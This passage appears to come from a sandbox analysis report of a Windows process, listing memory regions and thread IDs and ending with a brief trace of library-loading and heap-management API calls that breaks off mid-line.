entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2471 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2472 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2473 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2474 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2475 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2476 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2477 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2478 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2479 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2480 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2481 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2482 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2483 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2484 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2485 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2486 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2487 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2488 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2489 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2490 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2491 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2492 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2502 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2503 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2504 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2505 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2506 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2507 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2508 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2509 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2510 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2511 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2512 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2513 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2514 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2515 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2516 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2517 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2518 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2519 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2520 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2521 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2522 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2523 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2524 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2525 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2526 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2527 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2528 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2529 start_va = 0xb5d0000 end_va = 0xb6c9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b5d0000" filename = "" Region: id = 2530 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2531 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2532 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2533 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2534 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2535 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2536 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2537 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2538 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2539 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2540 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2541 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2542 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2543 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2544 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2545 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2546 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2547 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2548 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2549 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2550 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2551 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2552 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2553 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2554 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2555 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2556 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2557 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2558 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2559 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2560 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2561 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2562 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2563 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2564 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2565 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2566 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2567 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2568 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2569 start_va = 0x420000 end_va = 0x422fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2570 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2571 start_va = 0xe3d0000 end_va = 0xe8c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000e3d0000" filename = "" Region: id = 2572 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2573 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2574 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2575 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2576 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2577 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2578 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2579 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2580 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2581 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2582 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2583 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2584 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2592 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2593 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2594 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2595 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2596 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2597 start_va = 0x3e50000 end_va = 0x3e50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e50000" filename = "" Region: id = 2598 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2599 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2600 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2601 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2602 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2603 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2604 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2605 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2606 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2607 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2608 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2609 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2610 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2611 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2612 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2616 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2617 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2618 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2619 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2620 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2621 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2622 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2623 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2624 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2625 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2626 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2627 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2628 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2629 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2630 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2631 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2632 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2633 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2634 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2635 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2636 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2637 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2638 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2639 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2640 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2641 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2642 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2643 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2644 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2645 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2646 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2647 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2648 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2649 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2650 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2651 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2652 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2653 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2654 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2655 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2656 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2657 start_va = 0x4350000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2658 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2659 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2660 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2661 start_va = 0xb5d0000 end_va = 0xb6c9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b5d0000" filename = "" Thread: id = 5 os_tid = 0x7b0 Thread: id = 6 os_tid = 0x13d4 Thread: id = 7 os_tid = 0x130c Thread: id = 8 os_tid = 0x12f8 Thread: id = 9 os_tid = 0x12d8 Thread: id = 10 os_tid = 0x12ac Thread: id = 11 os_tid = 0x1274 Thread: id = 12 os_tid = 0x126c Thread: id = 13 os_tid = 0x1260 Thread: id = 14 os_tid = 0x1228 Thread: id = 15 os_tid = 0xde8 Thread: id = 16 os_tid = 0x224 Thread: id = 17 os_tid = 0x324 Thread: id = 18 os_tid = 0xbb4 Thread: id = 19 os_tid = 0x940 Thread: id = 20 os_tid = 0x43c Thread: id = 21 os_tid = 0x430 Thread: id = 22 os_tid = 0xc70 Thread: id = 23 os_tid = 0xf98 Thread: id = 24 os_tid = 0xf78 Thread: id = 25 os_tid = 0xf40 Thread: id = 26 os_tid = 0x4dc Thread: id = 27 os_tid = 0x55c Thread: id = 28 os_tid = 0xbfc Thread: id = 29 os_tid = 0xbf8 Thread: id = 30 os_tid = 0xbf4 Thread: id = 31 os_tid = 0xbe4 Thread: id = 32 os_tid = 0xbe0 Thread: id = 33 os_tid = 0xbb0 Thread: id = 34 os_tid = 0xa9c Thread: id = 35 os_tid = 0x6d0 Thread: id = 36 os_tid = 0x7f8 Thread: id = 37 os_tid = 0x7a4 Thread: id = 38 os_tid = 0x78c Thread: id = 39 os_tid = 0x748 Thread: id = 40 os_tid = 0x72c Thread: id = 41 os_tid = 0x728 Thread: id = 42 os_tid = 0x724 Thread: id = 43 os_tid = 0x720 Thread: id = 44 os_tid = 0x6fc Thread: id = 45 os_tid = 0x6ec Thread: id = 46 os_tid = 0x6e8 Thread: id = 47 os_tid = 0x6d0 Thread: id = 48 os_tid = 0x6cc Thread: id = 49 os_tid = 0x6c0 Thread: id = 50 os_tid = 0x6bc Thread: id = 51 os_tid = 0x6ac Thread: id = 52 os_tid = 0x690 Thread: id = 53 os_tid = 0x688 Thread: id = 54 os_tid = 0x684 Thread: id = 55 os_tid = 0x680 Thread: id = 56 os_tid = 0x66c Thread: id = 57 os_tid = 0x654 Thread: id = 58 os_tid = 0x640 Thread: id = 59 os_tid = 0x638 Thread: id = 60 os_tid = 0x634 Thread: id = 61 os_tid = 0x61c Thread: id = 62 os_tid = 0x84 [0258.219] LoadLibraryA (lpLibFileName="NTDLL") returned 0x7ffd504d0000 [0258.236] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="RtlExitUserThread") returned 0x7ffd5052c2a0 [0258.239] RtlCreateHeap (Flags=0x1002, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x0, Lock=0x0, Parameters=0x0) returned 0x8870000 [0260.455] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x10) returned 0x8870830 [0260.455] LoadLibraryA (lpLibFileName="user32") returned 0x7ffd4e9d0000 [0260.457] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x10 [0260.463] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.464] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x12) returned 0x8870830 [0260.464] LoadLibraryA (lpLibFileName="advapi32") returned 0x7ffd4e480000 [0260.465] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x12 [0260.465] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0260.465] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x10) returned 0x8870830 [0260.465] LoadLibraryA 